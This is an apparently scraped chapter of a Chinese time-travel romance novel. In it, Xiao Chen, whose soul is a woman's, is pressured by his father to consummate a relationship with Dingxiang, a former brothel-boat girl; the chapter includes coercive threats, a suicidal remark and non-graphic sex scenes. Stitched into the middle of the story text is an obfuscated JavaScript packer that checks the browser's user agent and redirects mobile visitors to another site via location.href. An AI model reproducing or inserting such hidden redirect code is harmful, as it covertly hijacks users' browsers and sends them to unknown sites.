$(''.inform'').remove(); $(''#content'').append('' 是觉得你身份低微,才说委屈——我是觉得,让你做妾,是委屈了你的人。” 他看着她清澈却藏着伤痕的眼睛,一字一句道:“你该有自己的日子,不必看人脸色,不必仰人鼻息,更不必……做谁的附庸。是我没用,没能护你周全,才让你落到这步田地。” 丁香愣住了,似乎没想到他会说出这样的话。花船里的日子教会她,女子的归宿要么是被人赎身做妾,要么是老了被赶出去,哪有人会说“做妾委屈了你的人”? 她张了张嘴,想说些什么,却被他眼里的真诚堵住了。那里面没有同情,没有鄙夷,只有真切的愧疚和疼惜。 “公子……”她的声音又开始发颤,“其实……我真的不怪你。” 至少,他没有像王老爷那样把她当成玩物,至少,他给过她短暂的安稳,至少,他此刻说的是真心话。 肖晨看着她泛红的眼眶,心里像被什么东西堵住了,闷得发慌。他伸出手,想像从前那样拍拍她的肩,却在半空中停住,又收了回来。 现在的他们,身份变了。 红烛还在燃着,烛泪一点点往下淌,像谁无声的眼泪。 房里又陷入了沉默,只是这一次,沉默里没有了方才的疏离,多了些说不清道不明的滋味。 肖晨走到桌边,给自己倒了杯凉茶,一饮而尽,试图压下心头的燥意。 “你……”他刚开口,又停住,最后只化作一句,“你累了一天,先歇息吧,我在桌边坐会儿就好。” 丁香看着他疲惫的侧脸,点了点头,轻轻褪去外裙,躺在了床的内侧,背对着他。 红烛的光落在床榻与桌边之间,像一道无形的界限。 谁也没再说话。 夜渐渐深了,烛火渐渐弱了下去。 肖晨靠在椅背上,听着身后传来的均匀呼吸声,知道她睡着了。或许是太累了,或许是终于放下了紧绷的心弦。 他轻轻起身,走到床边,借着微弱的光看着她的睡颜。水红色的衣襟散在枕上,衬得她脸颊格外苍白。 “对不起。”他又在心里说了一遍。 然后,他拿起一件外袍搭在椅背上,吹灭了烛火,在桌边的地上蜷缩着躺下。 丁香迷迷糊糊醒来时,身侧空荡荡的,没有一点温度。她睁开眼,借着窗外透进来的月光,看到桌旁的地上,肖晨正蜷缩着睡着,身上只搭了件薄袍。 夜露重,地上定然凉得刺骨。 她悄悄起身,摸到火折子点上蜡烛,橘黄色的光晕瞬间驱散了房里的昏暗。她走到他身边,轻声道:“公子,地上凉,去床上睡吧。” 肖晨被惊醒,揉了揉酸涩的眼睛,看到她站在烛火旁,水红色的寝衣松松垮垮地挂在肩上,更显得身形单薄。他摇了摇头,声音带着刚睡醒的沙哑:“不可以的。” 他不能碰她。无论是作为现代人的准则,还是作为“她”的灵魂本能,都无法接受这样的亲密。 丁香的脸色暗了暗,烛光在她眼里跳动,映出一丝受伤。她低下头,声音轻得像叹息:“莫非……你是嫌我脏,不愿意上去睡?” 从花船出来的女子,最怕的就是这两个字。那些男人嘴上说着喜欢,眼里却藏着鄙夷,她早就习惯了。可从他嘴里听到拒绝,心里还是像被针扎了一下。 “不是的!”肖晨急忙解释,从地上站起来,动作急得带倒了身下的袍角,“我没有嫌你脏,从来没有!” 他看着她泛红的眼眶,心里又急又悔,却不知道该怎么说清楚。总不能告诉她,自己其实是个女子,无法对她产生男女之情;也不能说,自己信奉的是一夫一妻,不愿做出背叛傲雪的事。 “那你为何……”丁香咬着唇,没再说下去,眼里的光却一点点暗了。 肖晨看着她失落的样子,心里像被堵住了,闷得发慌。他笨拙地解释:“我只是……只是觉得,这样对你不公平。你不该这样委屈自己。” “我不觉得委屈。”丁香忽然抬头,看着他的眼睛,语气带着一丝执拗,“公子愿意护着我,给我一个家,我已经很满足了。地上真的凉,你若是病了,少夫人该担心了。” 她往前走了一步,声音放软了些:“就当……就当是我求你,去床上睡吧。不然,我这心里也不安稳。” 肖晨看着她眼里的恳切,又看了看地上冰凉的青砖,终究还是点了点头,却坚持道:“我睡外侧,你睡里面,中间……中间隔着些。” 丁香没反驳,默默回到床内侧躺下。 肖晨吹灭蜡烛,在床外侧躺下,刻意离她很远,几乎要贴到床沿。床不算窄,可他浑身紧绷,连呼吸都放轻了,生怕碰到她。 黑暗里,两人都睁着眼,没有睡意。 过了许久,丁香忽然轻声道:“公子,你不必这样的。” 肖晨没说话。 “我知道你心里有少夫人,也知道你对我……只是怜悯。”她的声音很轻,像怕惊扰了夜,“我不会奢求别的,只要能安安稳稳地活着就好。” 肖晨的喉结动了动,低声道:“安心睡吧,有我在,没人能再欺负你。” 这句话,他说得格外坚定。 又过了一会儿,身边传来均匀的呼吸声,丁香这次是真的睡着了。肖晨却依旧醒着,听着她的呼吸,感受着身边若有若无的气息,心里五味杂陈。 他不知道这样的日子会持续多久,也不知道该如何向傲雪解释今夜的相安无事。 但至少此刻,他守住了自己的底线。 窗外的月光静静流淌,映着床榻上隔着无形界限的两人,像一幅沉默的画。 天快亮时,肖晨才终于抵不住倦意,沉沉睡去。只是他的手,始终紧紧攥着,像是在坚守着什么。 天快亮时肖晨才浅浅睡去,没等他醒透,门外就传来轻细的脚步声。两个面生的丫鬟端着铜盆和洗漱用具进来,规规矩矩地福身:“公子,丁香姑娘,该起身洗漱了。” 肖晨揉着眉心坐起身,见她们眼神总往床榻内侧瞟,心里顿时咯噔一下——父亲这是派人来“验视”了。 丁香也察觉到不对,昨夜两人明明分睡两侧,哪来的“红色”?她手心里沁出细汗,下意识往肖晨身边靠了靠。 肖晨不动声色地用被子掩住床榻中间的缝隙,沉声道:“放下东西,你们先出去。” 丫鬟们对视一眼,没敢违逆,却故意磨蹭着收拾,眼睛在床褥上飞快扫了一圈,见被褥整齐得过分,连褶皱都少,心里已有了数,却还是低着头退了出去,只在门口留了个心眼。 等人走了,丁香才慌了神:“公子,她们……” “没事。”肖晨安抚地拍了拍她的手,“我去应付。” 他起身时,瞥见床脚的帕子,忽然有了主意,快步走到桌边,拿起胭脂盒蘸了点红,往帕子一角轻轻抹了抹,又揉皱了些,塞到床榻内侧的褥子下。 “这……”丁香愣住了。 “我爹要的不过是个‘交代’。”肖晨声音低沉,“总不能让他真的寻你麻烦。” 两人匆匆洗漱完毕,刚走出房门,那两个丫鬟就装着进来收拾,肖晨看在眼里,没戳破,只带着丁香往正屋去请安。 丫鬟们在房里翻找片刻,果然在褥子下摸到了那方带红的帕子,对视一眼,悄悄折好藏进袖中,快步往肖父的书房去回话。 “回老爷,看着是有的,帕子上……”丫鬟话没说完,肖父就抬手打断,眼里闪过一丝满意,却又板着脸:“知道了,下去吧,别声张。” 丫鬟们退下后,肖父端起茶盏,嘴角勾起一抹不易察觉的弧度。只要圆了房,生米煮成熟饭,再多的心思也该收收了。 而另一边,肖晨带着丁香走到正屋门口,李傲雪正站在廊下等他们,看到两人并肩走来,她脸上努力挤出笑意,目光却在丁香身上那身水红色的襦裙上顿了顿,又很快移开。 “爹在里面等着呢。”她轻声道。 肖晨看着她眼底的红血丝,知道她定是也没睡好,心里一阵愧疚,却只能低声道:“进去吧。” 进了书房,肖父瞥了他们一眼,语气缓和了些:“既已成亲,往后就安分些。丁香既然入了肖家的门,就得守肖家的规矩,好好伺候少爷和少夫人。” 丁香垂着头应了声“是”。 肖晨没说话,只觉得这“规矩”二字,压得人喘不过气。 请安的流程走得飞快,出来时,李傲雪拉着丁香的手说了几句家常,语气亲昵,却总隔着层什么。 肖晨看着两个各怀心事的女子,只觉得这满园的桂花香气,都带着说不出的苦涩。 他知道,那方染了胭脂的帕子瞒得了一时,瞒不了一世。 可眼下,也只能走一步看一步了。 44.他听到了她最想要的回答 肖父回房时,手里捏着那方丫鬟呈上来的帕子,往肖母面前一递,语气带着几分得意:“你瞧,成了。” 肖母接过帕子,指尖捻了捻那抹红色,又放在鼻尖轻嗅,眉峰微微蹙起:“这胭脂味,倒是浓得很。” 她抬眼看向肖父,眼神清亮:“你当晨儿是傻子?他护着那姑娘的心,比谁都真,怎会真让她受委屈?这帕子上的红,怕是胭脂染的。” 肖父一愣,拿起帕子仔细瞧了瞧,果然见那红色边缘带着些粉粒,并非天然的血色,脸色顿时沉了下来:“好个臭小子,竟敢耍我!” 他猛地一拍桌子,怒气冲冲地往外走:“我这就去拆穿他!” “站住。”肖母拉住他,“你现在去闹,岂不是让外人看了笑话?晨儿既敢这么做,就是吃准了你不会真对那姑娘下死手。” 肖父胸口起伏,显然气得不轻:“那怎么办?难不成就让他这么糊弄过去?” “他不是护着吗?那就逼他。”肖母眼神微冷,“让人去告诉晨儿,今晚若是再不成事,明儿一早就把那姑娘捆了,扔回花船去——我看他还护不护得住。” 肖父想了想,咬牙道:“就依你!我倒要看看,他是要肖家的脸面,还是要那个来路不明的女人!” 下人很快把话传到肖晨耳中时,他正在书房里对着账本发呆。听到“扔回花船”四个字,他手里的笔“啪”地掉在纸上,晕开一大团墨渍。 父亲这次是真的动怒了。 他捏紧了拳头,指节泛白。花船是什么地方,他比谁都清楚,把丁香送回去,无异于让她重新坠入地狱。 可让他圆房……他做不到。 无论是作为现代人的底线,还是作为女性灵魂的本能,他都无法对丁香做出那种事。 “少爷……”玉溪端着茶进来,见他脸色难看,担忧地唤了一声。 肖晨摆了摆手,声音沙哑:“我没事。” 他起身往跨院走,每一步都像踩在刀尖上。 推开房门时,丁香正在绣那盆兰草,见他进来,手里的针顿了顿,眼里闪过一丝不安:“公子,可是……出什么事了?” 肖晨走到她面前,看着她清澈的眼睛,艰难地开口:“我爹说……今晚若是再不圆房,明天就把你送回花船。” 丁香手里的绣绷“哐当”一声掉在地上,绣针散落一地。她脸色瞬间惨白,嘴唇哆嗦着,却说不出一个字。 花船……那个让她噩梦连连的地方。 肖晨看着她吓成这样,心里像被刀割一样疼,伸手想扶她,却被她躲开了。 “公子不必为难。”丁香猛地站起身,眼神里带着一种破釜沉舟的决绝,“若是……若是这样能让肖老爷消气,能让我留下来……我愿意。” 她抬起头,泪水在眼眶里打转,却倔强地没掉下来:“我本就是从那里出来的,不在乎……再多一次。” “不行!”肖晨厉声打断她,声音带着自己都没察觉的颤抖,“我说过,不会让你再受委屈!” 他怎么能让她为了留下来,做出这样的牺牲? 丁香看着他泛红的眼眶,忽然笑了,笑得眼泪都掉了下来:“公子,这不是委屈,是我的命。” 她知道,自己没有资格讨价还价。 肖晨看着她这副模样,心里的绝望像潮水般涌来。他第一次痛恨自己的束手束脚,痛恨这个时代的规矩,更痛恨父亲的步步紧逼。 “你先歇着,我去想想办法。”他转身往外走,脚步踉跄。 走到门口时,他停住脚步,背对着她,声音低沉却坚定:“相信我,我不会让你回去的。” 门被轻轻带上,隔绝了两个同样煎熬的人。 丁香蹲下身,捡起地上的绣针,指尖被扎破了,渗出血珠,她却浑然不觉,只是望着紧闭的门,眼泪掉得更凶了。 而肖晨站在廊下,望着天边沉沉的暮色,第一次感到如此无力。 今晚,他到底该怎么办? 肖晨在父亲书房外站了许久,直到掌灯时分,才推门进去。肖父正翻看着账本,见他进来,眼皮都没抬:“想通了?” “爹,这事情,我不能妥协。”肖晨的声音不大,却异常坚定。 肖父猛地合上账本,抬头瞪他:“由得你选吗?我告诉你,今晚这事没得商量,我可不会再给你耍花样的机会!” 肖晨看着父亲决绝的脸,知道再说什么都是徒劳。他躬身行了一礼,转身往外走,背影带着破釜沉舟的沉重。 推开丁香房门时,她正坐在窗边,手里捏着那支银簪,月光落在她侧脸,柔和得像幅画,却又透着股易碎的脆弱。 听到动静,她回过头,眼里带着一丝期待,又藏着几分惶恐。 “公子……” 肖晨走到她面前,看着她手里的银簪,忽然不知道该说什么。 沉默在两人之间蔓延,直到丁香轻声开口,打破了寂静:“公子,你有没有……喜欢过我?哪怕只有一点点。” 肖晨的心猛地一颤,看着她澄澈的眼睛,那里面映着自己的影子,带着孤注一掷的勇气。他避开她的目光,声音艰涩:“你这么好,谁会不喜欢。” 这是真心话。他喜欢她的坚韧,喜欢她的善良,喜欢她在困境里依旧挺直的脊梁。可这份喜欢,无关风月,只是欣赏与怜惜。 丁香却像是得到了莫大的鼓励,眼里瞬间亮起光来。她站起身,往前一步,几乎要贴上他,声音带着颤抖,却异常清晰:“那公子就接受我吧。” “我……” “早在第一眼见到你的时候,我就喜欢你了。”她打断他,眼里闪着泪光,却笑得明媚,“在巷口你替我挡开王老爷的那一刻,我就知道,我等的人是你。我心里从来没有接受过任何人,哪怕当初被王老爷买去,我也是拼死守住了自己……” 她抬起手,轻轻抚上他的胸口,声音低得像叹息:“公子,我知道自己配不上你,可我是真心的。就让我……好好伺候你一次,好不好?就算是为了留下,为了不让你为难……” 肖晨浑身一僵,她的指尖带着微凉的温度,烫得他心口发慌。他看着她眼里的决绝与深情,看着她为了留下,连最后的尊严都愿意放下,心里像被无数根针扎着。 他猛地抓住她的手腕,将她的手从自己胸口拿开,声音带着压抑的痛苦:“丁香,别这样。” “为什么?”丁香的眼泪掉了下来,“是我哪里不好吗?还是你真的……只当我是个麻烦?” “不是的。”肖晨的声音沙哑,“是我……是我心里过不去那道坎。我不能对不起傲雪,更不能……委屈你做这样的事。” 他看着她泪流满面的样子,心疼得无以复加,却只能狠下心推开她一点:“你放心,就算拼着被爹责罚,我也不会让你被送走。但这件事,绝不能如他所愿。” 丁香怔怔地看着他,看着他眼里的坚定与痛苦,忽然明白了什么。她抹了把眼泪,哽咽道:“公子……是不是有什么难言之隐?” 肖晨张了张嘴,却终究没能说出口。有些秘密,只能烂在肚子里。 他转过身,背对着她:“你先睡吧,今晚……我守在门口。” 丁香看着他的背影,那个挺拔却透着疲惫的背影,忽然轻声道:“公子,我不逼你了。” 肖晨脚步一顿。 “不管你心里有什么坎,我都等。”她的声音带着泪,却异常温柔,“哪怕等一辈子,我也愿意。” 肖晨猛地回头,看到她站在烛火旁,眼里的泪水晶莹剔透,却闪着不容错辨的执拗。 他喉咙发紧,一个字也说不出来。 红烛摇曳,映着两人沉默的身影。 这一夜,注定又是煎熬。 只是这一次,肖晨站在门外,听着屋里渐渐平稳的呼吸声,心里忽然生出一丝微弱的希望。 或许,总有一天,他能找到两全的办法。 为了傲雪,为了丁香,也为了自己。 丁香坐在床边,看着肖晨转身要去门口的背影,声音轻得像叹息:“公子,你守着门口也是没用的。像我这样的女人,终究是没有人爱的。” 肖晨脚步一顿,猛地回过头,烛光在他眼底跳动,带着急切:“不会没有人爱你的。你那么好,善良、坚韧,又那么懂分寸,谁见了会不喜欢?” “喜欢和爱是不一样的。”丁香摇了摇头,眼泪又掉了下来,“我不想让你为难了。我知道你为我做了太多,挡了多少流言,抗了多少压力,我已经觉得够了,真的。” 她抬起头,目光里带着一种近乎绝望的平静:“我这样的人,从花船出来就没什么活路。留在府里是拖累你,走出去……外面的人要么把我当玩物,要么把我当怪物,与其被人糟践,不如一死,才能解脱。” “我不要你死!”肖晨几步冲到她面前,双手抓住她的肩膀,力道大得让她蹙眉,眼里却满是恐惧,“我要你好好活着!开开心心地活着!不许说死!” 他深吸一口气,声音带着颤抖,却异常坚定:“不要离开我,丁香。你听着,只要有我在,就不会让你出事。我会想办法说服我爹,会让所有人都接纳你,会让你在肖家安安稳稳地活下去,像正常人一样,有自己的日子,有自己的欢喜。” 丁香看着他泛红的眼眶,看着他眼里毫不掩饰的担忧和珍视,心里那道紧绷的弦忽然断了。她扑进他怀里,放声大哭起来,像个受了委屈的孩子:“可是太难了……公子,太难了……” 肖晨紧紧抱住她,任由她的眼泪浸湿自己的衣襟,手轻轻拍着她的背,一遍遍地说:“不难的,有我呢,不怕。” 他知道前路坎坷,知道父亲不会轻易妥协,知道流言蜚语不会轻易散去。可此刻抱着怀里颤抖的人,他忽然觉得,再难也要走下去。 她已经吃了太多苦,不能再让她对这个世界彻底失望。 “相信我,”他在她耳边低语,声音温柔却有力,“我不会让你一个人面对的。我们一起等,等风平浪静,等雨过天晴。” 丁香在他怀里哭了很久,直到哭声渐渐变成抽噎,才慢慢抬起头,泪眼朦胧地看着他:“真的……能等到吗?” “能。”肖晨看着她的眼睛,一字一句道,“只要我们都不放弃。” 丁香看着他眼里的坚定,忽然点了点头,像是终于抓住了一根救命稻草。 红烛依旧在燃,只是这一次,烛火映在两人脸上,少了些绝望,多了些微弱的暖意。 肖晨没有再去门口,只是坐在床边,守着她。 他知道,今晚或许还会有变数,但至少此刻,他要让她知道,她不是一个人。 肖晨看着她泪痕未干的脸,心里像被温水浸过,又酸又软。他轻声问:“你为什么会喜欢我?” 丁香的睫毛颤了颤,声音带着哭后的沙哑:“因为你跟别的男人不同。他们看我,眼里只有轻贱和算计,可你看我时,眼里只有尊重。在巷口你挡在我身前,在院里你说‘舍不得我走’,在我要离开时你说‘我离不开你’……这些,都是我从未得到过的。” 肖晨喉结滚动,低声道:“可是我一开始,只是把你当成朋友,当成可以说说话的知己,从没想过别的。”他还有太多不能说的隐衷,那些跨时空的隔阂,那些关于自我的挣扎,都让他无法坦然回应这份感情。 “我都知道。”丁香抬起眼,目光清澈而执拗,“我知道你有家室,知道少夫人温婉贤淑,知道我不该有这些念头。可我控制不住自己,只要看到你,就忍不住想跟你靠近,哪怕只是站在你身后看着你,都觉得心里踏实。” 她的坦诚像一把柔软的刀,轻轻剖开肖晨心里最柔软的地方。他看着她眼里的卑微与勇敢,看着她明知道不可能,却还是飞蛾扑火般靠近,心疼得无以复加。 原来,有些人的喜欢,从来不是权衡利弊,只是情难自禁。 他慢慢抬起手,指尖轻轻拂过她的脸颊,擦去残留的泪痕。烛光在两人之间跳跃,映得彼此的呼吸都变得滚烫。 千言万语堵在喉咙口,最终都化作了一个动作。 他低下头,慢慢吻上了她的唇。 那吻很轻,带着怜惜,带着愧疚,带着一丝连自己都未察觉的动容。丁香浑身一僵,随即闭上眼,睫毛在他脸上轻轻颤动,像受惊的蝶。 她没有推开他,只是微微仰起头,笨拙地回应着。 窗外的月光不知何时隐进了云层,房里只剩下烛火噼啪的轻响,和两人交缠的呼吸。 这个吻,像一场迟来的救赎,也像一个无解的开端。 肖晨知道,这个吻打破了所有界限,往后的路,只会更难。 可此刻,他只想抱着她,用这个吻告诉她:你不是没人爱,至少,我在意你。 许久,他才缓缓松开她,额头抵着她的额头,声音低沉而沙哑:“对不起……” 丁香摇了摇头,眼里闪着泪光,却笑了,那笑容在烛火下,美得让人心颤。 “不用对不起。”她说,“至少这一刻,是真的。” 烛火摇曳,将两人的影子投在墙上,缠绵而模糊。 肖晨俯下身,吻再次落下,这一次带着难以言喻的复杂情绪——有怜惜,有愧疚,还有一丝被她的坦诚点燃的悸动。丁香闭上眼,睫毛上还挂着未干的泪,身体却轻轻靠向他,无声地默许了这一切。 她早已做好了准备,把自己交给他,不是因为肖父的逼迫,而是因为心里那份无法抑制的喜欢。这世间男子万千,她只愿是他。 肖晨的动作很轻,指尖拂过她水红色的衣襟,缓缓解开剩下的系带。布料滑落,露出她纤细的肩头,在烛光下泛着细腻的光泽。他的动作温柔得像对待易碎的珍宝,每一个触碰都带着小心翼翼的珍视。 丁香的身体微微颤抖,既是紧张,也是羞怯。当他的手轻轻环住她时,她下意识地抓紧了他的衣袖,指节泛白。 “别怕。”他在她耳边低语,声音沙哑得像被砂纸磨过,带着安抚的力量。 可初次的疼,还是让她忍不住蹙紧了眉,指尖深深掐进他的手臂,疼得几乎喘不过气。眼泪不受控制地涌出来,不是因为委屈,而是生理上难以忍受的痛楚。 肖晨察觉到她的僵硬和颤抖,立刻停了下来,抬手拭去她眼角的泪,声音里满是心疼:“是不是很疼?” 丁香咬着唇,摇了摇头,却还是忍不住发出细碎的抽噎声。 他不再动,只是轻轻抱着她,手掌温柔地拍着她的背,像安抚受了惊的孩子。“疼就说出来,别忍着。” 过了好一会儿,她的呼吸才渐渐平稳下来,只是身体依旧紧绷。她抬起泪眼朦胧的脸,看着他近在咫尺的眉眼,轻声道:“没事……我没事。” 肖晨看着她强撑的样子,心里又是愧疚又是怜惜。他低头吻了吻她的额头,动作轻柔:“我们慢慢来。” 这一夜,红烛燃了又灭,窗外的月光悄悄爬上床沿,又悄悄隐去。没有肖父逼迫的仓促,没有身份带来的隔阂,只有两个灵魂在黑暗中相互靠近,带着疼痛,带着珍视,也带着一丝破釜沉舟的温柔。 当晨光终于透过窗棂照进来时,丁香已经累得睡熟了,眼角还带着浅浅的泪痕,嘴角却微微上扬着。肖晨看着她的睡颜,轻轻为她掖好被角,眼底满是复杂的情绪。 他终究还是跨出了那一步。 或许是情难自禁,或许是被她的坦诚打动,或许是潜意识里想反抗肖父的逼迫——理由已经不再重要。 重要的是,从今往后,他们之间的关系,再也回不到从前了。 他起身走到窗边,看着天边泛起的鱼肚白,深深吸了一口气。 该面对的,终究要面对。 无论是父亲,还是傲雪,亦或是他自己心里那道来自现代的坎。 但此刻,他只想让她好好睡一觉。 至少,在这一刻,让她做个安稳的梦。 肖晨在窗边站了许久,直到晨光将庭院染成淡金色,才轻手轻脚地转身。丁香还在睡,眉头微蹙,像是在梦里也带着不安。他伸手想抚平她的眉,指尖刚触到,她就睫毛一颤,迷迷糊糊睁开了眼。 “公子……”她的声音带着刚醒的软糯,看到他时,脸颊瞬间泛起红晕,下意识地往被子里缩了缩。 肖晨收回手,喉结动了动:“再睡会儿,还早。” 丁香没动,只是望着他,眼里有羞怯,有依赖,还有一丝不易察觉的忐忑。昨夜的疼还残留在身体里,可更多的,是一种前所未有的踏实——她终于真正属于他了,以这样一种方式,斩断了所有退路。 肖晨被她看得有些不自在,转身想去外间,却被她轻轻拉住了衣袖。 “别走。”她小声说,“陪我一会儿。” 他顿住脚步,最终还是在床边坐下。 两人没说话,房里只有彼此的呼吸声,却不觉得尴尬。晨光透过窗纱,在她脸上投下柔和的光晕,肖晨看着她颈间淡淡的红痕,心里忽然涌上一股强烈的责任感。 不管他曾有多少挣扎,从今往后,他都要护好她。 “我去跟爹说。”肖晨忽然开口,“往后,你在肖家,不必再看任何人脸色。” 丁香愣住了,随即摇了摇头:“别……别再跟老爷起冲突了。我这样就很好。” 她知道,肖父本就不待见她,若是肖晨再为她顶撞,只会让她的处境更难。 肖晨没应声,只是握住她的手,她的手还带着些凉,他用掌心焐着:“相信我。” 他起身洗漱时,特意让玉溪把李傲雪请到了书房。 李傲雪进来时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011147|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里还端着一碗刚炖好的燕窝,看到肖晨,脸上努力挤出笑意:“听说丁香姑娘……昨夜没睡好,我炖了点东西,让她补补身子。” 肖晨看着她眼底的疲惫,心里像被针扎了一下:“傲雪,对不起。” 李傲雪的手顿了顿,燕窝的热气模糊了她的眉眼:“夫妻之间,说什么对不起。只是……”她抬起头,声音很轻,“你既做了决定,往后,对她好些。” 她没问昨夜的细节,也没说半句委屈,只是把那碗燕窝递给玉溪,让她送去跨院。 “我知道你心里苦。”肖晨看着她转身要走,忍不住开口。 李傲雪脚步没停,只轻轻说了句:“日子总要过下去的。” 她的背影在晨光里显得格外单薄,肖晨看着,心里五味杂陈。 他转身去了肖父的书房,这一次,没等肖父开口,他就先道:“爹,昨夜的事,是我自愿的。丁香既入了我的房,往后就是我肖晨的人,还请爹莫要再为难她。” 肖父看着他,眼神复杂,最终哼了一声:“你自己的事,自己掂量着办。别到时候惹出什么笑话,丢了肖家的脸。” 话虽硬,语气却松了些。 肖晨知道,这是父亲默认了。 他回到跨院时,丁香正坐在床边喝粥,看到他进来,眼睛一亮,像只受惊后找到主人的小鹿。 “都妥当了。”肖晨在她身边坐下,拿起一旁的帕子,替她擦了擦嘴角,“往后,安心住着。” 丁香低下头,喝粥的动作慢了些,嘴角却悄悄扬起。 肖晨坐在床边,指尖轻轻拂过她的发鬓,声音里满是疼惜:“身体还疼吗?” 丁香靠在他肩头,脸颊泛着浅浅的红晕,摇了摇头:“已经没有那么疼了,好多了。” 他听着,心里更不是滋味,伸手将她轻轻揽进怀里,下巴抵着她的发顶,声音低沉而自责:“都是我不好,没轻没重的,让你受了这么多罪。” 丁香在他怀里摇了摇头,手臂轻轻环住他的腰,声音柔得像水:“能把自己交给你,我很幸福。” 她顿了顿,声音低了下去,带着一丝羞怯和不安:“只是……只是我太笨了,也太弱了,没能……没能让你满足。” 肖晨的心猛地一揪,抬起她的脸,低头吻上她的唇,温柔得像对待易碎的珍宝。直到她呼吸微促,才缓缓松开,额头抵着她的额头,认真地看着她的眼睛:“傻瓜,说什么呢。” “对我来说,你的身体才是最重要的。”他的指尖轻轻抚过她的脸颊,语气无比郑重,“疼不疼,舒不舒服,比什么都重要。其他的,从来都不重要。” 他不是不知道她的顾虑,那些从花船里听来的、关于取悦男人的道理,早已刻进她的骨子里。可他要的从来不是这些。 丁香看着他眼里的真诚,心里那块不安的石头终于落了地,眼眶一热,又有眼泪要涌出来,却被她硬生生憋了回去,只笑着点了点头,把脸埋进他怀里。 “公子……”她闷闷地说,“有你真好。” 肖晨收紧手臂,将她抱得更紧了些。窗外的阳光透过窗纱照进来,落在两人交缠的身影上,暖融融的。 他知道,她心里的创伤不是一朝一夕能抚平的,那些刻在骨子里的卑微和不安,也需要时间慢慢驱散。 但他会等,会一点点告诉她,她值得被珍视,值得被好好疼爱,不需要用任何方式去讨好谁。 此刻,抱着怀里温软的人,听着她平稳的心跳,肖晨忽然觉得,之前所有的挣扎和煎熬,都有了意义。 丁香靠在肖晨怀里,感受着他掌心的温度,忽然明白了李傲雪为什么会对他如此情深。他是真的好,好到让人心甘情愿地沉溺,舍不得离开。 她抬起头,眼里带着羞怯,却又藏着一丝坚定,轻声问:“公子,我想再来一次,可以吗?” 肖晨立刻蹙眉,握住她的手:“不行,你的身体还没缓过来,不能再折腾。” “不要紧的。”丁香摇了摇头,手指轻轻划过他的衣襟,声音柔得像羽毛,“我想真正再次属于你,完完全全的。” 话音未落,她主动凑上前,吻上了他的唇。这一次,不再是被动的承受,而是带着孤注一掷的热情。 肖晨浑身一震,被她眼底的执拗和炽热烫得心头发紧,终究是没忍住,热烈地回应着她。 丁香的手有些颤抖,却坚定地替他解开衣襟,将他的衣衫褪下。她想让他看清楚自己的一切,没有遮掩,没有保留,完完全全地属于他。 肖晨看着她泛红的脸颊,看着她眼底毫不掩饰的爱意,喉咙发紧,将她打横抱起,轻轻放在床上。 这一次,他格外温柔,动作里满是珍视。丁香紧紧环着他的脖颈,像抓住了浮木,不愿放开。身体的不适还在,可心里的欢喜和归属感压过了一切,她咬着唇,没让他发觉半分异样。 窗外的日头渐渐升高,又缓缓西斜,房里的光影换了又换,只有两人交缠的呼吸从未停歇。 不知过了多久,两人都累得瘫在床上,紧紧相拥着,连动一下的力气都没有。 丁香把头埋在他胸口,听着他有力的心跳,嘴角带着满足的笑意,哪怕身体还有些微的酸胀,也觉得甘之如饴。 肖晨抚摸着她汗湿的发,低头吻了吻她的发顶,声音沙哑得厉害:“傻丫头,说了不让你逞强。” 他终究还是察觉到了她的隐忍。 丁香在他怀里蹭了蹭,声音软软的:“我愿意。” 只要能这样抱着他,能真切地感受到他属于自己,再疼也愿意。 夕阳的余晖透过窗棂照进来,在两人身上镀上一层金色的光晕。 这一次,没有逼迫,没有挣扎,只有两颗心紧紧贴在一起的温度。 或许,他们的开始有太多不得已,可此刻的缠绵,是真的。 肖晨看着怀里累得睁不开眼却依旧紧紧抓着他衣袖的人,心里涌起一阵复杂的暖流。他从没想过,自己会被这样炽热而纯粹地爱着,尤其是在他藏着那样一个惊天秘密的情况下。 他的灵魂是女子,这个认知像一根刺,时时刻刻扎在心头。如果有一天,他能回到现代,恢复原本的身份,那个穿着牛仔、扎着马尾的普通女孩,她还会爱吗?答案几乎是肯定的——不会。 这个念头让他心口发紧,却又不能说,只能死死瞒下去。 他低头,看着丁香恬静的睡颜,忍不住轻轻吻了吻她的额头,声音低得像叹息,带着一丝不易察觉的试探:“丁香,如果……如果有一天,我不是现在这个样子了呢?” 丁香迷迷糊糊地哼了一声,没完全醒。 肖晨的指尖轻轻划过她的脸颊,继续说:“比如,我只是个普通人,没有肖家少爷的身份,没有这些家业……或者,我变成了完全不一样的人,你还会爱我吗?还能接受吗?” 他屏住呼吸,等待着她的回答,心脏在胸腔里跳得又快又重。 丁香终于被他的话弄醒了,揉了揉眼睛,看着他近在咫尺的脸,眼神还有些迷蒙,却很认真地想了想,然后摇了摇头。 肖晨的心猛地一沉。 却听她轻声说:“不会有那样的如果。” “为什么?”他追问,声音有些发颤。 “因为我爱的不是肖家少爷,也不是你的身份啊。”丁香抬手,指尖轻轻点了点他的胸口,“我爱的是这里,是这个会护着我、会心疼我、会跟我说‘不要死’的人。不管你变成什么样,只要这里还是你,我就爱。” 她顿了顿,忽然笑了,眼里闪着狡黠的光:“就算你变成个卖糖人的老头,我也会天天去买你的糖人,缠着你;就算你变成个小姑娘……”她歪着头想了想,“那我就把你当妹妹疼,照样天天跟你在一起。” 肖晨愣住了,看着她眼里毫不设防的真诚,心里那根紧绷的弦忽然松了些,却又涌上更深的愧疚。 她不知道,她随口说的“变成小姑娘”,竟是他最不敢言说的真相。 他猛地低头,吻住她,这个吻带着失而复得的庆幸,带着无法言说的苦涩,还有一丝自欺欺人的安稳。 “好。”他在她唇边低语,声音沙哑,“那你可要说话算数。” “嗯!”丁香用力点头,在他怀里蹭了蹭,很快又困得闭上了眼,“说话算数……” 看着她再次睡熟的样子,肖晨轻轻叹了口气,将她抱得更紧了些。 或许,他该庆幸她的爱如此纯粹,不掺杂任何条件。 或许,他该永远守住这个秘密,让她活在这份“圆满”里。 窗外的月光又悄悄爬了上来,温柔地笼罩着相拥的两人。 